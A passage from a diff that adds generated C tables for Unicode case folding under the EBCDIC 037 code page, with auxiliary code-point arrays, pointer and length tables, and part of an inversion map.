+	CF_use_AUX_TABLE_61 = -61,
+	CF_use_AUX_TABLE_62 = -62,
+	CF_use_AUX_TABLE_63 = -63,
+	CF_use_AUX_TABLE_64 = -64,
+	CF_use_AUX_TABLE_65 = -65,
+	CF_use_AUX_TABLE_66 = -66,
+	CF_use_AUX_TABLE_67 = -67,
+	CF_use_AUX_TABLE_68 = -68,
+	CF_use_AUX_TABLE_69 = -69,
+	CF_use_AUX_TABLE_70 = -70,
+	CF_use_AUX_TABLE_71 = -71,
+	CF_use_AUX_TABLE_72 = -72,
+	CF_use_AUX_TABLE_73 = -73
+} CF_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_CF_AUX_TABLES
+
+static const unsigned int CF_AUX_TABLE_1[] = {
+	0xA2,
+	0xA2
+};
+
+static const unsigned int CF_AUX_TABLE_2[] = {
+	0x89,
+	0x307
+};
+
+static const unsigned int CF_AUX_TABLE_3[] = {
+	0x2BC,
+	0x95
+};
+
+static const unsigned int CF_AUX_TABLE_4[] = {
+	0x91,
+	0x30C
+};
+
+static const unsigned int CF_AUX_TABLE_5[] = {
+	0x3B9,
+	0x308,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_6[] = {
+	0x3C5,
+	0x308,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_7[] = {
+	0x565,
+	0x582
+};
+
+static const unsigned int CF_AUX_TABLE_8[] = {
+	0x88,
+	0x331
+};
+
+static const unsigned int CF_AUX_TABLE_9[] = {
+	0xA3,
+	0x308
+};
+
+static const unsigned int CF_AUX_TABLE_10[] = {
+	0xA6,
+	0x30A
+};
+
+static const unsigned int CF_AUX_TABLE_11[] = {
+	0xA8,
+	0x30A
+};
+
+static const unsigned int CF_AUX_TABLE_12[] = {
+	0x81,
+	0x2BE
+};
+
+static const unsigned int CF_AUX_TABLE_13[] = {
+	0x3C5,
+	0x313
+};
+
+static const unsigned int CF_AUX_TABLE_14[] = {
+	0x3C5,
+	0x313,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_15[] = {
+	0x3C5,
+	0x313,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_16[] = {
+	0x3C5,
+	0x313,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_17[] = {
+	0x1F00,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_18[] = {
+	0x1F01,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_19[] = {
+	0x1F02,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_20[] = {
+	0x1F03,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_21[] = {
+	0x1F04,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_22[] = {
+	0x1F05,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_23[] = {
+	0x1F06,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_24[] = {
+	0x1F07,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_25[] = {
+	0x1F20,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_26[] = {
+	0x1F21,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_27[] = {
+	0x1F22,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_28[] = {
+	0x1F23,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_29[] = {
+	0x1F24,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_30[] = {
+	0x1F25,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_31[] = {
+	0x1F26,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_32[] = {
+	0x1F27,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_33[] = {
+	0x1F60,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_34[] = {
+	0x1F61,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_35[] = {
+	0x1F62,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_36[] = {
+	0x1F63,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_37[] = {
+	0x1F64,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_38[] = {
+	0x1F65,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_39[] = {
+	0x1F66,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_40[] = {
+	0x1F67,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_41[] = {
+	0x1F70,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_42[] = {
+	0x3B1,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_43[] = {
+	0x3AC,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_44[] = {
+	0x3B1,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_45[] = {
+	0x3B1,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_46[] = {
+	0x1F74,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_47[] = {
+	0x3B7,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_48[] = {
+	0x3AE,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_49[] = {
+	0x3B7,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_50[] = {
+	0x3B7,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_51[] = {
+	0x3B9,
+	0x308,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_52[] = {
+	0x3B9,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_53[] = {
+	0x3B9,
+	0x308,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_54[] = {
+	0x3C5,
+	0x308,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_55[] = {
+	0x3C1,
+	0x313
+};
+
+static const unsigned int CF_AUX_TABLE_56[] = {
+	0x3C5,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_57[] = {
+	0x3C5,
+	0x308,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_58[] = {
+	0x1F7C,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_59[] = {
+	0x3C9,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_60[] = {
+	0x3CE,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_61[] = {
+	0x3C9,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_62[] = {
+	0x3C9,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_63[] = {
+	0x86,
+	0x86
+};
+
+static const unsigned int CF_AUX_TABLE_64[] = {
+	0x86,
+	0x89
+};
+
+static const unsigned int CF_AUX_TABLE_65[] = {
+	0x86,
+	0x93
+};
+
+static const unsigned int CF_AUX_TABLE_66[] = {
+	0x86,
+	0x86,
+	0x89
+};
+
+static const unsigned int CF_AUX_TABLE_67[] = {
+	0x86,
+	0x86,
+	0x93
+};
+
+static const unsigned int CF_AUX_TABLE_68[] = {
+	0xA2,
+	0xA3
+};
+
+static const unsigned int CF_AUX_TABLE_69[] = {
+	0x574,
+	0x576
+};
+
+static const unsigned int CF_AUX_TABLE_70[] = {
+	0x574,
+	0x565
+};
+
+static const unsigned int CF_AUX_TABLE_71[] = {
+	0x574,
+	0x56B
+};
+
+static const unsigned int CF_AUX_TABLE_72[] = {
+	0x57E,
+	0x576
+};
+
+static const unsigned int CF_AUX_TABLE_73[] = {
+	0x574,
+	0x56D
+};
+
+static const unsigned int * const CF_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	CF_AUX_TABLE_1,
+	CF_AUX_TABLE_2,
+	CF_AUX_TABLE_3,
+	CF_AUX_TABLE_4,
+	CF_AUX_TABLE_5,
+	CF_AUX_TABLE_6,
+	CF_AUX_TABLE_7,
+	CF_AUX_TABLE_8,
+	CF_AUX_TABLE_9,
+	CF_AUX_TABLE_10,
+	CF_AUX_TABLE_11,
+	CF_AUX_TABLE_12,
+	CF_AUX_TABLE_13,
+	CF_AUX_TABLE_14,
+	CF_AUX_TABLE_15,
+	CF_AUX_TABLE_16,
+	CF_AUX_TABLE_17,
+	CF_AUX_TABLE_18,
+	CF_AUX_TABLE_19,
+	CF_AUX_TABLE_20,
+	CF_AUX_TABLE_21,
+	CF_AUX_TABLE_22,
+	CF_AUX_TABLE_23,
+	CF_AUX_TABLE_24,
+	CF_AUX_TABLE_25,
+	CF_AUX_TABLE_26,
+	CF_AUX_TABLE_27,
+	CF_AUX_TABLE_28,
+	CF_AUX_TABLE_29,
+	CF_AUX_TABLE_30,
+	CF_AUX_TABLE_31,
+	CF_AUX_TABLE_32,
+	CF_AUX_TABLE_33,
+	CF_AUX_TABLE_34,
+	CF_AUX_TABLE_35,
+	CF_AUX_TABLE_36,
+	CF_AUX_TABLE_37,
+	CF_AUX_TABLE_38,
+	CF_AUX_TABLE_39,
+	CF_AUX_TABLE_40,
+	CF_AUX_TABLE_41,
+	CF_AUX_TABLE_42,
+	CF_AUX_TABLE_43,
+	CF_AUX_TABLE_44,
+	CF_AUX_TABLE_45,
+	CF_AUX_TABLE_46,
+	CF_AUX_TABLE_47,
+	CF_AUX_TABLE_48,
+	CF_AUX_TABLE_49,
+	CF_AUX_TABLE_50,
+	CF_AUX_TABLE_51,
+	CF_AUX_TABLE_52,
+	CF_AUX_TABLE_53,
+	CF_AUX_TABLE_54,
+	CF_AUX_TABLE_55,
+	CF_AUX_TABLE_56,
+	CF_AUX_TABLE_57,
+	CF_AUX_TABLE_58,
+	CF_AUX_TABLE_59,
+	CF_AUX_TABLE_60,
+	CF_AUX_TABLE_61,
+	CF_AUX_TABLE_62,
+	CF_AUX_TABLE_63,
+	CF_AUX_TABLE_64,
+	CF_AUX_TABLE_65,
+	CF_AUX_TABLE_66,
+	CF_AUX_TABLE_67,
+	CF_AUX_TABLE_68,
+	CF_AUX_TABLE_69,
+	CF_AUX_TABLE_70,
+	CF_AUX_TABLE_71,
+	CF_AUX_TABLE_72,
+	CF_AUX_TABLE_73
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 CF_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* CF_AUX_TABLE_1 */,
+	2	/* CF_AUX_TABLE_2 */,
+	2	/* CF_AUX_TABLE_3 */,
+	2	/* CF_AUX_TABLE_4 */,
+	3	/* CF_AUX_TABLE_5 */,
+	3	/* CF_AUX_TABLE_6 */,
+	2	/* CF_AUX_TABLE_7 */,
+	2	/* CF_AUX_TABLE_8 */,
+	2	/* CF_AUX_TABLE_9 */,
+	2	/* CF_AUX_TABLE_10 */,
+	2	/* CF_AUX_TABLE_11 */,
+	2	/* CF_AUX_TABLE_12 */,
+	2	/* CF_AUX_TABLE_13 */,
+	3	/* CF_AUX_TABLE_14 */,
+	3	/* CF_AUX_TABLE_15 */,
+	3	/* CF_AUX_TABLE_16 */,
+	2	/* CF_AUX_TABLE_17 */,
+	2	/* CF_AUX_TABLE_18 */,
+	2	/* CF_AUX_TABLE_19 */,
+	2	/* CF_AUX_TABLE_20 */,
+	2	/* CF_AUX_TABLE_21 */,
+	2	/* CF_AUX_TABLE_22 */,
+	2	/* CF_AUX_TABLE_23 */,
+	2	/* CF_AUX_TABLE_24 */,
+	2	/* CF_AUX_TABLE_25 */,
+	2	/* CF_AUX_TABLE_26 */,
+	2	/* CF_AUX_TABLE_27 */,
+	2	/* CF_AUX_TABLE_28 */,
+	2	/* CF_AUX_TABLE_29 */,
+	2	/* CF_AUX_TABLE_30 */,
+	2	/* CF_AUX_TABLE_31 */,
+	2	/* CF_AUX_TABLE_32 */,
+	2	/* CF_AUX_TABLE_33 */,
+	2	/* CF_AUX_TABLE_34 */,
+	2	/* CF_AUX_TABLE_35 */,
+	2	/* CF_AUX_TABLE_36 */,
+	2	/* CF_AUX_TABLE_37 */,
+	2	/* CF_AUX_TABLE_38 */,
+	2	/* CF_AUX_TABLE_39 */,
+	2	/* CF_AUX_TABLE_40 */,
+	2	/* CF_AUX_TABLE_41 */,
+	2	/* CF_AUX_TABLE_42 */,
+	2	/* CF_AUX_TABLE_43 */,
+	2	/* CF_AUX_TABLE_44 */,
+	3	/* CF_AUX_TABLE_45 */,
+	2	/* CF_AUX_TABLE_46 */,
+	2	/* CF_AUX_TABLE_47 */,
+	2	/* CF_AUX_TABLE_48 */,
+	2	/* CF_AUX_TABLE_49 */,
+	3	/* CF_AUX_TABLE_50 */,
+	3	/* CF_AUX_TABLE_51 */,
+	2	/* CF_AUX_TABLE_52 */,
+	3	/* CF_AUX_TABLE_53 */,
+	3	/* CF_AUX_TABLE_54 */,
+	2	/* CF_AUX_TABLE_55 */,
+	2	/* CF_AUX_TABLE_56 */,
+	3	/* CF_AUX_TABLE_57 */,
+	2	/* CF_AUX_TABLE_58 */,
+	2	/* CF_AUX_TABLE_59 */,
+	2	/* CF_AUX_TABLE_60 */,
+	2	/* CF_AUX_TABLE_61 */,
+	3	/* CF_AUX_TABLE_62 */,
+	2	/* CF_AUX_TABLE_63 */,
+	2	/* CF_AUX_TABLE_64 */,
+	2	/* CF_AUX_TABLE_65 */,
+	3	/* CF_AUX_TABLE_66 */,
+	3	/* CF_AUX_TABLE_67 */,
+	2	/* CF_AUX_TABLE_68 */,
+	2	/* CF_AUX_TABLE_69 */,
+	2	/* CF_AUX_TABLE_70 */,
+	2	/* CF_AUX_TABLE_71 */,
+	2	/* CF_AUX_TABLE_72 */,
+	2	/* CF_AUX_TABLE_73 */
+};
+
+static const int Case_Folding_invmap[] = { /* for EBCDIC 037 */
+	0,
+	CF_use_AUX_TABLE_1,
+	0,
+	0x42,
+	0,
+	0x51,
+	0,
+	0x70,
+	0,
+	0x9C,
+	0,
+	0x3BC,
+	0,
+	0x8C,
+	0,
+	0x81,
+	0,
+	0x91,
+	0,
+	0xA2,
+	0,
+	0xCB,
+	0,
+	0xDB,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	CF_use_AUX_TABLE_2,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	CF_use_AUX_TABLE_3,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xDF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0xA2,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	CF_use_AUX_TABLE_4,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x3B9,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	CF_use_AUX_TABLE_5,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	CF_use_AUX_TABLE_6,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0x3B2,
+	0x3B8,
+	0,
+	0x3C6,
+	0x3C0,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3BA,
+	0x3C1,
+	0,
+	0x3B8,
+	0x3B5,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	CF_use_AUX_TABLE_7,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0x13F0,
+	0,
+	0x432,
+	0x434,
+	0x43E,
+	0x441,
+	0x442,
+	0x44A,
+	0x463,
+	0xA64B,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	CF_use_AUX_TABLE_8,
+	CF_use_AUX_TABLE_9,
+	CF_use_AUX_TABLE_10,
+	CF_use_AUX_TABLE_11,
+	CF_use_AUX_TABLE_12,
+	0x1E61,
+	0,
+	CF_use_AUX_TABLE_1,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	CF_use_AUX_TABLE_13,
+	0,
+	CF_use_AUX_TABLE_14,
+	0,
+	CF_use_AUX_TABLE_15,
+	0,
+	CF_use_AUX_TABLE_16,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
+	0x1F60,
+	0,
+	CF_use_AUX_TABLE_17,
+	CF_use_AUX_TABLE_18,
+	CF_use_AUX_TABLE_19,
+	CF_use_AUX_TABLE_20,
+	CF_use_AUX_TABLE_21,
+	CF_use_AUX_TABLE_22,
+	CF_use_AUX_TABLE_23,
+	CF_use_AUX_TABLE_24,
+	CF_use_AUX_TABLE_17,
+	CF_use_AUX_TABLE_18,
+	CF_use_AUX_TABLE_19,
+	CF_use_AUX_TABLE_20,
+	CF_use_AUX_TABLE_21,
+	CF_use_AUX_TABLE_22,
+	CF_use_AUX_TABLE_23,
+	CF_use_AUX_TABLE_24,
+	CF_use_AUX_TABLE_25,
+	CF_use_AUX_TABLE_26,
+	CF_use_AUX_TABLE_27,
+	CF_use_AUX_TABLE_28,
+	CF_use_AUX_TABLE_29,
+	CF_use_AUX_TABLE_30,
+	CF_use_AUX_TABLE_31,
+	CF_use_AUX_TABLE_32,
+	CF_use_AUX_TABLE_25,
+	CF_use_AUX_TABLE_26,
+	CF_use_AUX_TABLE_27,
+	CF_use_AUX_TABLE_28,
+	CF_use_AUX_TABLE_29,
+	CF_use_AUX_TABLE_30,
+	CF_use_AUX_TABLE_31,
+	CF_use_AUX_TABLE_32,
+	CF_use_AUX_TABLE_33,
+	CF_use_AUX_TABLE_34,
+	CF_use_AUX_TABLE_35,
+	CF_use_AUX_TABLE_36,
+	CF_use_AUX_TABLE_37,
+	CF_use_AUX_TABLE_38,
+	CF_use_AUX_TABLE_39,
+	CF_use_AUX_TABLE_40,
+	CF_use_AUX_TABLE_33,
+	CF_use_AUX_TABLE_34,
+	CF_use_AUX_TABLE_35,
+	CF_use_AUX_TABLE_36,
+	CF_use_AUX_TABLE_37,
+	CF_use_AUX_TABLE_38,
+	CF_use_AUX_TABLE_39,
+	CF_use_AUX_TABLE_40,
+	0,
+	CF_use_AUX_TABLE_41,
+	CF_use_AUX_TABLE_42,
+	CF_use_AUX_TABLE_43,
+	0,
+	CF_use_AUX_TABLE_44,
+	CF_use_AUX_TABLE_45,
+	0x1FB0,
+	0x1F70,
+	CF_use_AUX_TABLE_42,
+	0,
+	0x3B9,
+	0,
+	CF_use_AUX_TABLE_46,
+	CF_use_AUX_TABLE_47,
+	CF_use_AUX_TABLE_48,
+	0,
+	CF_use_AUX_TABLE_49,
+	CF_use_AUX_TABLE_50,
+	0x1F72,
+	CF_use_AUX_TABLE_47,
+	0,
+	CF_use_AUX_TABLE_51,
+	CF_use_AUX_TABLE_5,
+	0,
+	CF_use_AUX_TABLE_52,
+	CF_use_AUX_TABLE_53,
+	0x1FD0,
+	0x1F76,
+	0,
+	CF_use_AUX_TABLE_54,
+	CF_use_AUX_TABLE_6,
+	CF_use_AUX_TABLE_55,
+	0,
+	CF_use_AUX_TABLE_56,
+	CF_use_AUX_TABLE_57,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	CF_use_AUX_TABLE_58,
+	CF_use_AUX_TABLE_59,
+	CF_use_AUX_TABLE_60,
+	0,
